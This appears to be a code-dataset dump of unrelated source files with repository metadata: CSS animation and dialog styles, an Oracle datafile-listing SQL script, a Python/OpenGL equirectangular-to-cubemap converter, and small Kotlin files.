background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 135.53px);
position:relative;
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
}
.interior-6-i {
width:34.74px;
height:43.71px;
background:url('../img/letter-i.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 162.53px);
position:relative;
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
}
.interior-7-o {
width:45px;
height:43.71px;
background:url('../img/letter-o.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 190.53px);
position:relative;
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
}
.interior-8-r {
width:45px;
height:43.71px;
background:url('../img/letter-r.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 235.53px);
position:relative;
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
}
.interior-9-d {
width:45px;
height:43.71px;
background:url('../img/letter-d.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 295.53px);
position:relative;
-webkit-animation: spin 12s 0s infinite linear;
-moz-animation: spin 12s 0s infinite linear;
animation: spin 12s 0s infinite linear;
}
.interior-10-e {
width:45px;
height:43.71px;
background:url('../img/letter-e.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 335.53px);
position:relative;
-webkit-animation: spin 12s 0s infinite linear;
-moz-animation: spin 12s 0s infinite linear;
animation: spin 12s 0s infinite linear;
}
.interior-11-s {
width:45px;
height:43.71px;
background:url('../img/letter-s.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 370.53px);
position:relative;
-webkit-animation: spin 12s 0s infinite linear;
-moz-animation: spin 12s 0s infinite linear;
animation: spin 12s 0s infinite linear;
}
.interior-12-i {
width:45px;
height:43.71px;
background:url('../img/letter-i.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 396.53px);
position:relative;
-webkit-animation: spin 12s 0s infinite linear;
-moz-animation: spin 12s 0s infinite linear;
animation: spin 12s 0s infinite linear;
}
.interior-13-g {
width:45px;
height:43.71px;
background:url('../img/letter-g.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 425.53px);
position:relative;
-webkit-animation: spin 12s 0s infinite linear;
-moz-animation: spin 12s 0s infinite linear;
animation: spin 12s 0s infinite linear;
}
.interior-14-n {
width:45px;
height:43.71px;
background:url('../img/letter-n.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(65vw + 469px);
-webkit-animation: spin 12s 0s infinite linear;
-moz-animation: spin 12s 0s infinite linear;
animation: spin 12s 0s infinite linear;
}
.interior-15-r {
width:45px;
height:43.71px;
background:url('../img/letter-r.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:42vw;
-webkit-animation: spin 8s 0s infinite linear;
-moz-animation: spin 8s 0s infinite linear;
animation: spin 8s 0s infinite linear;
}
.interior-16-i {
width:45px;
height:43.71px;
background:url('../img/letter-i.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(42vw + 27.5px);
-webkit-animation: spin 8s 0s infinite linear;
-moz-animation: spin 8s 0s infinite linear;
animation: spin 8s 0s infinite linear;
}
.interior-17-d {
width:45px;
height:43.71px;
background:url('../img/letter-d.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(42vw + 58.5px);
-webkit-animation: spin 8s 0s infinite linear;
-moz-animation: spin 8s 0s infinite linear;
animation: spin 8s 0s infinite linear;
}
.interior-18-e {
width:45px;
height:43.71px;
background:url('../img/letter-e.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(42vw + 97.5px);
-webkit-animation: spin 8s 0s infinite linear;
-moz-animation: spin 8s 0s infinite linear;
animation: spin 8s 0s infinite linear;
}
.interior-19-r {
width:45px;
height:43.71px;
background:url('../img/letter-r.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(42vw + 136.5px);
-webkit-animation: spin 8s 0s infinite linear;
-moz-animation: spin 8s 0s infinite linear;
animation: spin 8s 0s infinite linear;
}
.interior-20-s {
width:45px;
height:43.71px;
background:url('../img/letter-s.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(42vw + 170.5px);
-webkit-animation: spin 8s 0s infinite linear;
-moz-animation: spin 8s 0s infinite linear;
animation: spin 8s 0s infinite linear;
}
.interior-21-a {
width:45px;
height:43.71px;
background:url('../img/letter-a.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:5vw;
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-22-u {
width:45px;
height:43.71px;
background:url('../img/letter-u.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 42.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-23-t {
width:45px;
height:43.71px;
background:url('../img/letter-t.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 83.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-24-o {
width:45px;
height:43.71px;
background:url('../img/letter-o.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 125.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-25-m {
width:45px;
height:43.71px;
background:url('../img/letter-m.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 175.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-26-o {
width:45px;
height:43.71px;
background:url('../img/letter-o.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 225.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-27-t {
width:45px;
height:43.71px;
background:url('../img/letter-t.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 268.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-28-i {
width:45px;
height:43.71px;
background:url('../img/letter-i.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 295.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-29-v {
width:45px;
height:43.71px;
background:url('../img/letter-v.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 328.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
.interior-30-e {
width:45px;
height:43.71px;
background:url('../img/letter-e.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
margin-top:70vh;
margin-left:calc(5vw + 368.5px);
-webkit-animation: spin 6s 0s infinite linear;
-moz-animation: spin 6s 0s infinite linear;
animation: spin 6s 0s infinite linear;
}
/* logo */
.top-logo {
width:10vw;
height:74.5px;
background:url../img/('logo.svg');
background-size:auto 100%;
background-repeat:no-repeat;
background-position:center center;
position:absolute;
margin-left:45vw;
margin-top:7.5vh;
top:0;
-moz-animation: minten 0.25s 0.75s forwards;
-webkit-animation: minten 0.25s 0.75s forwards;
-ms-animation: minten 0.25s 0.75s forwards;
animation: minten 0.25s 0.75s forwards;
-moz-backface-visibility: hidden;
-webkit-backface-visibility: hidden;
-ms-backface-visibility: hidden;
backface-visibility: hidden;
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity:0;
}
/*
-webkit-animation: spin 10s 0s infinite linear;
-moz-animation: spin 10s 0s infinite linear;
animation: spin 10s 0s infinite linear;
*/
@keyframes spin{
0% {
-webkit-transform: rotateZ(0deg) translate3d(0,7.5%,0) rotateZ(0deg);
-moz-transform: rotateZ(0deg) translate3d(0,7.5%,0) rotateZ(0deg);
transform: rotateZ(0deg) translate3d(0,7.5%,0) rotateZ(0deg);
}
100% {
-webkit-transform: rotateZ(360deg) translate3d(0,7.5%,0) rotateZ(-360deg);
-moz-transform: rotateZ(360deg) translate3d(0,7.5%,0) rotateZ(-360deg);
transform: rotateZ(360deg) translate3d(0,7.5%,0) rotateZ(-360deg);
}
}
@-moz-keyframes 3icon {
0% {
-moz-transform: translate3d(-45px,0,0);
-webkit-transform: translate3d(-45px,0,0);
-ms-transform: translate3d(-45px,0,0);
transform: translate3d(-45px,0,0);
opacity: 0;
}
100% {
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity: 1;
}
}
@-webkit-keyframes 3icon {
0% {
-moz-transform: translate3d(-45px,0,0);
-webkit-transform: translate3d(-45px,0,0);
-ms-transform: translate3d(-45px,0,0);
transform: translate3d(-45px,0,0);
opacity: 0;
}
100% {
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity: 1;
}
}
@-ms-keyframes 3icon {
0% {
-moz-transform: translate3d(-45px,0,0);
-webkit-transform: translate3d(-45px,0,0);
-ms-transform: translate3d(-45px,0,0);
transform: translate3d(-45px,0,0);
opacity: 0;
}
100% {
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity: 1;
}
}
@keyframes 3icon {
0% {
-moz-transform: translate3d(-45px,0,0);
-webkit-transform: translate3d(-45px,0,0);
-ms-transform: translate3d(-45px,0,0);
transform: translate3d(-45px,0,0);
opacity: 0;
}
100% {
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity: 1;
}
}
@-moz-keyframes minten {
0% {
-moz-transform: translate3d(0,-1vh,0);
-webkit-transform: translate3d(0,-1vh,0);
-ms-transform: translate3d(0,-1vh,0);
transform: translate3d(0,-1vh,0);
opacity: 0;
}
100% {
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity: 1;
}
}
@-webkit-keyframes minten {
0% {
-moz-transform: translate3d(0,-1vh,0);
-webkit-transform: translate3d(0,-1vh,0);
-ms-transform: translate3d(0,-1vh,0);
transform: translate3d(0,-1vh,0);
opacity: 0;
}
100% {
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity: 1;
}
}
@-ms-keyframes minten {
0% {
-moz-transform: translate3d(0,-1vh,0);
-webkit-transform: translate3d(0,-1vh,0);
-ms-transform: translate3d(0,-1vh,0);
transform: translate3d(0,-1vh,0);
opacity: 0;
}
100% {
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity: 1;
}
}
@keyframes minten {
0% {
-moz-transform: translate3d(0,-1vh,0);
-webkit-transform: translate3d(0,-1vh,0);
-ms-transform: translate3d(0,-1vh,0);
transform: translate3d(0,-1vh,0);
opacity: 0;
}
100% {
-moz-transform: translate3d(0,0,0);
-webkit-transform: translate3d(0,0,0);
-ms-transform: translate3d(0,0,0);
transform: translate3d(0,0,0);
opacity: 1;
}
}
| 23.989796 | 83 | 0.702414 |
df7e0b5f52813f1c6741f6a333b2914acaf4edd8
| 732 |
sql
|
SQL
|
oracle-base/datafiles.sql
|
gabrieltr/oracle_scripts
|
3a4e1f5d73f76429e9659077746cc499308793ec
|
[
"MIT"
] | null | null | null |
oracle-base/datafiles.sql
|
gabrieltr/oracle_scripts
|
3a4e1f5d73f76429e9659077746cc499308793ec
|
[
"MIT"
] | null | null | null |
oracle-base/datafiles.sql
|
gabrieltr/oracle_scripts
|
3a4e1f5d73f76429e9659077746cc499308793ec
|
[
"MIT"
] | null | null | null |
-- -----------------------------------------------------------------------------------
-- File Name : https://oracle-base.com/dba/monitoring/datafiles.sql
-- Author : Tim Hall
-- Description : Displays information about datafiles.
-- Requirements : Access to the V$ views.
-- Call Syntax : @datafiles
-- Last Modified: 17-AUG-2005
-- -----------------------------------------------------------------------------------
SET LINESIZE 200
COLUMN file_name FORMAT A70
SELECT file_id,
file_name,
ROUND(bytes/1024/1024/1024) AS size_gb,
ROUND(maxbytes/1024/1024/1024) AS max_size_gb,
autoextensible,
increment_by,
status
FROM dba_data_files
ORDER BY file_name;
| 33.272727 | 87 | 0.508197 |
f07f1c21b8f06d89cde1866e0e0a9e2404549ae4
| 10,586 |
py
|
Python
|
src/python/vrprim/photosphere/conv.py
|
cmbruns/vr_samples
|
8dee056766bccca1a602c6dd58fd0a641c5033a5
|
[
"MIT"
] | 1 |
2017-01-29T21:15:23.000Z
|
2017-01-29T21:15:23.000Z
|
src/python/vrprim/photosphere/conv.py
|
cmbruns/vr_samples
|
8dee056766bccca1a602c6dd58fd0a641c5033a5
|
[
"MIT"
] | 2 |
2017-01-29T20:34:39.000Z
|
2017-01-29T23:26:05.000Z
|
src/python/vrprim/photosphere/conv.py
|
cmbruns/vr_samples
|
8dee056766bccca1a602c6dd58fd0a641c5033a5
|
[
"MIT"
] | null | null | null |
"""
Convert spherical panorama in equirectangular format into cubemap format
"""
from math import pi, log2
import numpy
from libtiff import TIFF
import png
import glfw
from OpenGL import GL
from OpenGL.GL import shaders
from OpenGL.GL.EXT.texture_filter_anisotropic import GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT, GL_TEXTURE_MAX_ANISOTROPY_EXT
from PIL import Image
class Converter(object):
def render_scene(self):
GL.glClear(GL.GL_COLOR_BUFFER_BIT)
GL.glUseProgram(self.shader)
equirect_loc = GL.glGetUniformLocation(self.shader, "equirect")
GL.glUniform1i(equirect_loc, 0)
GL.glDrawArrays(GL.GL_TRIANGLE_STRIP, 0, 4)
def cube_from_equirect(self, arr):
"""
Use OpenGL to efficiently warp an equirectangular image into
a single cubemap image
"""
# Set up glfw
eh = arr.shape[0]
ew = arr.shape[1]
print(ew, eh)
# Cubemap has same width, and height * 1.5, right? todo:
scale = 4.0 / pi # tan(a)/a [a == 45 degrees] # so cube face center resolution matches equirectangular equator resolution
# scale = 1.0
# scale *= 1.0 / 4.0 # optional: smaller for faster testing
tile_size = int(scale * ew / 4.0)
# optional: clip to nearest power of two subtile size
tile_size = int(pow(2.0, int(log2(tile_size))))
print("tile size = ", tile_size, " pixels")
cw = 4 * tile_size
ch = 3 * tile_size
print(cw, ch)
glfw.init()
glfw.window_hint(glfw.CONTEXT_VERSION_MAJOR, 4)
glfw.window_hint(glfw.CONTEXT_VERSION_MINOR, 5)
# glfw.window_hint(glfw.VISIBLE, False)
w = glfw.create_window(cw, ch, "Cubemap", None, None)
# Create a framebuffer and render cube_color_texture
glfw.make_context_current(w)
vao = GL.glGenVertexArrays(1)
GL.glBindVertexArray(vao)
fb = GL.glGenFramebuffers(1)
GL.glBindFramebuffer(GL.GL_FRAMEBUFFER, fb)
cube_color_tex = GL.glGenTextures(1)
if arr.dtype == numpy.uint16:
gl_type = GL.GL_UNSIGNED_SHORT
cube_internal_format = GL.GL_RGBA16
input_internal_format = GL.GL_RGB16
elif arr.dtype == numpy.uint8:
gl_type = GL.GL_UNSIGNED_BYTE
cube_internal_format = GL.GL_RGBA8
input_internal_format = GL.GL_RGB8
else:
raise
GL.glBindTexture(GL.GL_TEXTURE_2D, cube_color_tex)
GL.glTexImage2D(GL.GL_TEXTURE_2D, 0, cube_internal_format, cw, ch, 0, GL.GL_RGBA, gl_type, None)
GL.glFramebufferTexture(GL.GL_FRAMEBUFFER, GL.GL_COLOR_ATTACHMENT0, cube_color_tex, 0)
GL.glDrawBuffers([GL.GL_COLOR_ATTACHMENT0,])
if GL.glCheckFramebufferStatus(GL.GL_FRAMEBUFFER) != GL.GL_FRAMEBUFFER_COMPLETE:
raise "Incomplete framebuffer"
else:
print("Framebuffer OK")
# Create shader program
vtx = shaders.compileShader("""#version 450
#line 62
out vec2 tex_coord;
const vec4 SCREEN_QUAD[4] = vec4[4](
vec4(-1, -1, 0.5, 1),
vec4( 1, -1, 0.5, 1),
vec4(-1, 1, 0.5, 1),
vec4( 1, 1, 0.5, 1));
void main() {
vec4 c = SCREEN_QUAD[gl_VertexID]; // corner location
gl_Position = c;
tex_coord = 0.5 * (c.xy + vec2(1));
}
""", GL.GL_VERTEX_SHADER)
frg = shaders.compileShader("""#version 450
#line 79
layout(binding=0) uniform sampler2D equirect;
in vec2 tex_coord;
out vec4 frag_color;
const float PI = 3.14159265359;
vec3 xyz_from_equirect(in vec2 eq) {
vec2 c = 2*eq - vec2(1); // centered
float lon = PI * c.x;
float lat = -0.5 * PI * c.y;
float s = cos(lat);
return vec3(s*sin(lon), sin(lat), -s*cos(lon));
}
vec2 equirect_from_xyz(in vec3 xyz) {
float r = length(xyz.xz);
float lat = atan(xyz.y, r);
float lon = atan(xyz.x, -xyz.z);
return 0.5 * (vec2(lon / PI, -2.0 * lat / PI) + vec2(1));
}
vec3 xyz_from_cube(in vec2 cube) {
if (cube.y > 2.0/3.0) { // lower strip
if (cube.x < 1.0/4.0) {
discard;
}
else if (cube.x > 2.0/4.0) {
discard;
}
else {
vec2 xy = (cube - vec2(3.0/8.0, 5.0/6.0)) * vec2(8, -6);
return normalize(vec3(xy.x, -1, -xy.y)); // bottom
}
}
else if (cube.y < 1.0/3.0) { // upper strip
if (cube.x < 1.0/4.0) {
discard;
}
else if (cube.x > 2.0/4.0) {
discard;
}
else { // top
vec2 xy = (cube - vec2(3.0/8.0, 1.0/6.0)) * vec2(8, -6);
return normalize(vec3(xy.x, 1, xy.y));
}
}
else { // central strip
if (cube.x < 0.25) {
vec2 xy = (cube - vec2(1.0/8.0, 0.5)) * vec2(8, -6);
return normalize(vec3(-1, xy.y, -xy.x)); // left
}
else if (cube.x < 0.50) { // front
vec2 xy = (cube - vec2(3.0/8.0, 0.5)) * vec2(8, -6);
return normalize(vec3(xy.x, xy.y, -1));
}
else if (cube.x < 0.75) { // right
vec2 xy = (cube - vec2(5.0/8.0, 0.5)) * vec2(8, -6);
return normalize(vec3(1, xy.y, xy.x));
}
else { // back
vec2 xy = (cube - vec2(7.0/8.0, 0.5)) * vec2(8, -6);
return normalize(vec3(-xy.x, xy.y, 1));
}
}
}
void main() {
vec3 xyz = xyz_from_cube(tex_coord);
vec2 eq = equirect_from_xyz(xyz);
// Use explicit level of detail to avoid seam at z==1, lon==PI
// Use explicit gradients, to preserve anisotropic filtering during mipmap lookup
vec2 dpdx = dFdx(eq);
if (dpdx.x > 0.5) dpdx.x -= 1; // use "repeat" wrapping on gradient
if (dpdx.x < -0.5) dpdx.x += 1;
vec2 dpdy = dFdy(eq);
frag_color = textureGrad(equirect, eq, dpdx, dpdy);
// frag_color = vec4(eq, 0.5, 1);
// frag_color = vec4(xyz, 1);
// frag_color = vec4(tex_coord, 1, 1);
// frag_color = vec4(xyz_from_equirect(tex_coord), 1);
}
""", GL.GL_FRAGMENT_SHADER)
self.shader = shaders.compileProgram(vtx, frg)
# Bind the input equirectangular image
equi_tex = GL.glGenTextures(1)
GL.glActiveTexture(GL.GL_TEXTURE0)
GL.glBindTexture(GL.GL_TEXTURE_2D, equi_tex)
GL.glTexImage2D(GL.GL_TEXTURE_2D, 0, input_internal_format, ew, eh, 0, GL.GL_RGB, gl_type, arr)
aniso = GL.glGetFloatv(GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT)
GL.glTexParameterf(GL.GL_TEXTURE_2D, GL_TEXTURE_MAX_ANISOTROPY_EXT, aniso)
GL.glTexParameteri(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_WRAP_S, GL.GL_REPEAT);
GL.glTexParameteri(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_WRAP_T, GL.GL_MIRRORED_REPEAT);
GL.glTexParameteri(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_MAG_FILTER, GL.GL_LINEAR);
GL.glTexParameteri(GL.GL_TEXTURE_2D, GL.GL_TEXTURE_MIN_FILTER, GL.GL_LINEAR_MIPMAP_LINEAR);
GL.glGenerateMipmap(GL.GL_TEXTURE_2D)
# init
GL.glDisable(GL.GL_BLEND)
GL.glDisable(GL.GL_DEPTH_TEST)
GL.glViewport(0, 0, cw, ch)
GL.glClearColor(0.5, 0.5, 0.5, 0.0)
# Render the image
bToScreen = False
if bToScreen:
GL.glBindFramebuffer(GL.GL_FRAMEBUFFER, 0)
# while not glfw.window_should_close(w):
for _ in range(100):
self.render_scene()
glfw.swap_buffers(w)
else:
GL.glBindFramebuffer(GL.GL_FRAMEBUFFER, fb)
self.render_scene()
GL.glFinish()
# fetch the rendered image
result = numpy.zeros(shape=(ch, cw, 4), dtype=arr.dtype)
GL.glReadPixels(0, 0, cw, ch, GL.GL_RGBA, gl_type, result)
print(cw, ch)
print(result.shape)
# print(result.shape)
# clean up
GL.glBindFramebuffer(GL.GL_FRAMEBUFFER, 0)
GL.glDeleteTextures([cube_color_tex,])
GL.glDeleteFramebuffers([fb,])
glfw.destroy_window(w)
glfw.terminate()
# raise NotImplementedError()
return result
def to_cube(arr):
w = arr.shape[0]
h = arr.shape[1]
aspect = w / h
if aspect == 2:
return Converter().cube_from_equirect(arr)
raise NotImplementedError()
def main(arr):
if (arr.dtype == numpy.float32):
# Clip data to percentile range with dynamic range below 65535
pct_low = 0
pct_high = 100
val_low, val_high = numpy.percentile(arr[numpy.nonzero(arr)], [pct_low, pct_high])
dynamic_range = val_high / val_low
eps = 0.07
while dynamic_range > 65535:
pct_low = eps
pct_high = 100.0 - eps
val_low, val_high = numpy.percentile(arr[numpy.nonzero(arr)], [pct_low, pct_high])
dynamic_range = val_high / val_low
print(pct_low, pct_high, val_low, val_high, dynamic_range)
eps *= 1.2
arr *= 65535.0 / val_high
arr[arr>65535] = 65535
arr[arr<0] = 0
# print(numpy.histogram(arr))
arr = arr.astype('uint16')
cube = Converter().cube_from_equirect(arr)
return cube
if __name__ == "__main__":
if True:
tif = TIFF.open('1w180.9.tiff', 'r')
arr = tif.read_image()
tif.close()
else:
jpeg = Image.open('_0010782_stitch2.jpg')
arr = numpy.array(jpeg)
cube = main(arr)
if cube.dtype == numpy.uint16:
img = png.from_array(cube, 'RGBA')
img.save('cube.png')
else:
Image.fromarray(cube).save('cube.jpg', quality=95)
| 38.919118 | 129 | 0.53344 |
f5828a92424030378272364fd079504e556ff390
| 2,611 |
css
|
CSS
|
src/terminal/components/itemEditor/itemEditor.module.css
|
wann100/electron-react-webpack-typescript-2021
|
413011c25df8370c6ee3af8942852bd68df34607
|
[
"MIT"
] | 28 |
2019-05-12T09:09:20.000Z
|
2022-03-24T15:53:12.000Z
|
src/terminal/components/itemEditor/itemEditor.module.css
|
wann100/electron-react-webpack-typescript-2021
|
413011c25df8370c6ee3af8942852bd68df34607
|
[
"MIT"
] | 2 |
2020-04-20T19:04:01.000Z
|
2022-02-09T09:26:04.000Z
|
src/terminal/components/itemEditor/itemEditor.module.css
|
wann100/electron-react-webpack-typescript-2021
|
413011c25df8370c6ee3af8942852bd68df34607
|
[
"MIT"
] | 25 |
2019-08-01T01:17:14.000Z
|
2022-03-07T05:42:06.000Z
|
@value moduleHeight: 4rem;
.root {
overflow-x: hidden;
overflow-y: auto;
position: fixed;
top: 0;
left: 0;
z-index: 100;
width: 100%;
height: 100%;
outline: 0;
transition: opacity .15s linear;
}
.backdrop {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
background-color: #000;
z-index: 9;
opacity: .5;
}
.dialog {
display: flex;
align-items: center;
flex-direction: column;
justify-content: center;
height: 100%;
position: relative;
width: auto;
pointer-events: none;
max-width: 800px;
transition: transform .3s ease-out;
transform: none;
margin: auto;
}
.content {
position: relative;
display: flex;
flex-direction: column;
width: 100%;
pointer-events: auto;
background-color: #fff;
background-clip: padding-box;
border: 1px solid rgba(0,0,0,.2);
border-radius: .25rem;
outline: 0;
max-height: none;
overflow: hidden;
}
.head {
display: flex;
flex-direction: row;
align-items: stretch;
height: moduleHeight;
border-bottom: 1px solid rgba(0,0,0,.1);
}
.closeBtn {
composes: buttonTransparent from '../../../common/styles/button.module.css';
color: inherit;
height: moduleHeight;
width: moduleHeight;
display: flex;
flex-direction: row;
align-items: center;
justify-content: center;
opacity: .85;
}
.closeBtn:hover {
opacity: 1;
}
.saveBtn {
composes: buttonPrimary from '../../../common/styles/button.module.css';
border-radius: 0;
padding: 0 2rem;
outline: none;
}
.itemInfo {
flex: 1 1 auto;
display: flex;
flex-direction: row;
align-items: center;
justify-content: center;
font-size: 1.25rem;
font-weight: 600;
}
.itemAmount {
font-weight: normal;
margin-left: 1rem;
}
.body {
margin: 2rem;
}
.row {
position: relative;
display: flex;
flex-wrap: wrap;
align-items: stretch;
margin: 1rem 0 2rem;
width: 100%;
}
.label {
font-size: 1.125rem;
font-weight: 600;
}
.qtyInput {
composes: input from '../../../common/styles/button.module.css';
position: relative;
flex: 1 1 0;
min-width: 0;
text-align: center;
border-radius: 0;
margin-bottom: 0;
z-index: 3;
}
.noteInput {
composes: input from '../../../common/styles/button.module.css';
height: auto;
}
.qtyBtn {
composes: button from '../../../common/styles/button.module.css';
display: flex;
align-items: center;
justify-content: center;
position: relative;
min-width: moduleHeight;
z-index: 2;
}
.removeBtn {
composes: button from '../../../common/styles/button.module.css';
width: 100%;
padding: .5rem 1rem;
line-height: 2;
}
| 17.177632 | 78 | 0.648794 |
fe252bb3ceb924433e818c62a07652277cb2424f
| 665 |
kt
|
Kotlin
|
src/main/kotlin/offer2/13.kt
|
korilin/leetcode_kt_solution
|
1ce05efeaf34536fff5fa6226bdcfd28247b2660
|
[
"MIT"
] | 1 |
2021-03-16T20:52:20.000Z
|
2021-03-16T20:52:20.000Z
|
src/main/kotlin/offer2/13.kt
|
korilin/leetcode_kt_solution
|
1ce05efeaf34536fff5fa6226bdcfd28247b2660
|
[
"MIT"
] | null | null | null |
src/main/kotlin/offer2/13.kt
|
korilin/leetcode_kt_solution
|
1ce05efeaf34536fff5fa6226bdcfd28247b2660
|
[
"MIT"
] | null | null | null |
package offer2
fun movingCount(m: Int, n: Int, k: Int): Int {
val vis = Array(m) { _m ->
Array(n) { _n ->
var mTemp = _m
var nTemp = _n
var c = 0
while (mTemp != 0 || nTemp != 0) {
c += mTemp % 10 + nTemp % 10
mTemp /= 10
nTemp /= 10
}
c > k
}
}
fun check(_m: Int, _n: Int): Int {
if (_m < 0 || _m >= m || _n < 0 || _n >= n || vis[_m][_n]) return 0
vis[_m][_n] = true
return 1 + check(_m - 1, _n) + check(_m + 1, _n) + check(_m, _n + 1) + check(_m, _n - 1)
}
return check(0, 0)
}
| 23.75 | 96 | 0.386466 |
6de4110eec117c21c634dc1904a1d72c2d6ed257
| 154 |
kt
|
Kotlin
|
app/src/main/java/com/sazib/pinboard/ui/splash/interactor/SplashMVPInteractor.kt
|
sazibislam/pin_board
|
e6bf2d3c97c7fadcbd7acf9e422b47165f990ac0
|
[
"Apache-2.0"
] | null | null | null |
app/src/main/java/com/sazib/pinboard/ui/splash/interactor/SplashMVPInteractor.kt
|
sazibislam/pin_board
|
e6bf2d3c97c7fadcbd7acf9e422b47165f990ac0
|
[
"Apache-2.0"
] | null | null | null |
app/src/main/java/com/sazib/pinboard/ui/splash/interactor/SplashMVPInteractor.kt
|
sazibislam/pin_board
|
e6bf2d3c97c7fadcbd7acf9e422b47165f990ac0
|
[
"Apache-2.0"
] | null | null | null |
package com.sazib.pinboard.ui.splash.interactor
import com.sazib.pinboard.ui.base.interactor.MVPInteractor
interface SplashMVPInteractor : MVPInteractor
| 30.8 | 58 | 0.863636 |
c3d3439acf75a13b35d9c365a0760bf92cb5962d
| 2,026 |
rs
|
Rust
|
secp256kfun/src/libsecp_compat.rs
|
delta1/secp256kfun
|
89c19f60a2ca33de967b1896f52282898d930be5
|
[
"0BSD"
] | null | null | null |
secp256kfun/src/libsecp_compat.rs
|
delta1/secp256kfun
|
89c19f60a2ca33de967b1896f52282898d930be5
|
[
"0BSD"
] | null | null | null |
